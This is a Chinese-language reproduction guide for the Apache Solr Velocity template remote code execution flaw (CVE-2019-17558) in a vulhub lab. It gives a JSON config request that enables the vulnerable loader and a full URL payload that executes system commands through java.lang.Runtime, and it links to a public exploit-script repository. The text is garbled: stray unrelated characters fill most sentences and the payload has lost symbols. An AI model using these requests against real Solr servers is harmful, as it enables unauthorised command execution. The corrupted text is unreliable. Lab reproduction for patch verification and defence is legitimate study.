0x00簡介
Solr 是一個開源的企業(yè)級搜索服務(wù)器伦腐,底層使用易于擴展和修改的Java 來實現(xiàn)靶端。服務(wù)器通信使用標(biāo)準(zhǔn)的HTTP 和XML粪糙,所以如果使用Solr 了解Java 技術(shù)會有用卻不是必須的要求。
Solr 主要特性有:強大的全文檢索功能蒸苇,高亮顯示檢索結(jié)果陡鹃,動態(tài)集群烘浦,數(shù)據(jù)庫接口和電子文檔(Word ,PDF 等)的處理萍鲸。而且Solr 具有高度的可擴展闷叉,支持分布搜索和索引的復(fù)制。
0x01漏洞概述
Apache Solr 5.0.0版本至8.3.1版本中存在輸入驗證錯誤漏洞猿推。攻擊者可借助Velocity模板利用該漏洞在系統(tǒng)上執(zhí)行任意代碼片习。
0x02影響版本
Apache Solr 5.0.0 ~8.3.1
0x03環(huán)境搭建
1、本次環(huán)境搭建使用vulhub搭建蹬叭,下載地址:
git clone chttps://github.com/vulhub/vulhub.git
2藕咏、下載至有docker環(huán)境的虛擬機中,進入目錄拉取docker
cd vulhub-master/solr/CVE-2019-17558/
docker-compose up -d
3秽五、看到綠色“done”拉取成功孽查,在瀏覽器訪問http://your-ip:8983
0x04漏洞復(fù)現(xiàn)
1、默認(rèn)情況下params.resource.loader.enabled配置未打開坦喘,無法使用自定義模板盲再。可以先通過如下API獲取所有的核心 //在vulhub中核心就是demo
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
2瓣铣、啟用配置params.resource.loader.enabled答朋,在url訪問/solr/demo/config使用Burp抓包改成POST然后修改啟動配置 //然后把Content-Type修改成application/json
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
3、然后通過Velocity模板即可執(zhí)行任意命令棠笑,命令如下:
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=set($x=)+set($rt=$x.class.forName(java.lang.Runtime))+set($chr=$x.class.forName(java.lang.Character))+set($str=$x.class.forName(java.lang.String))+set($ex=$rt.getRuntime().exec(id))+$ex.waitFor()+set($out=$ex.getInputStream())+foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))end
4梦碗、使用python腳本進行漏洞利用,使用python3運行蓖救,腳本下載地址://注:此類利用腳本GitHub上很多可自行搜索
https://github.com/zhzyker/exphub
0x05修復(fù)建議
1洪规、建議升級Appache Salc到最新版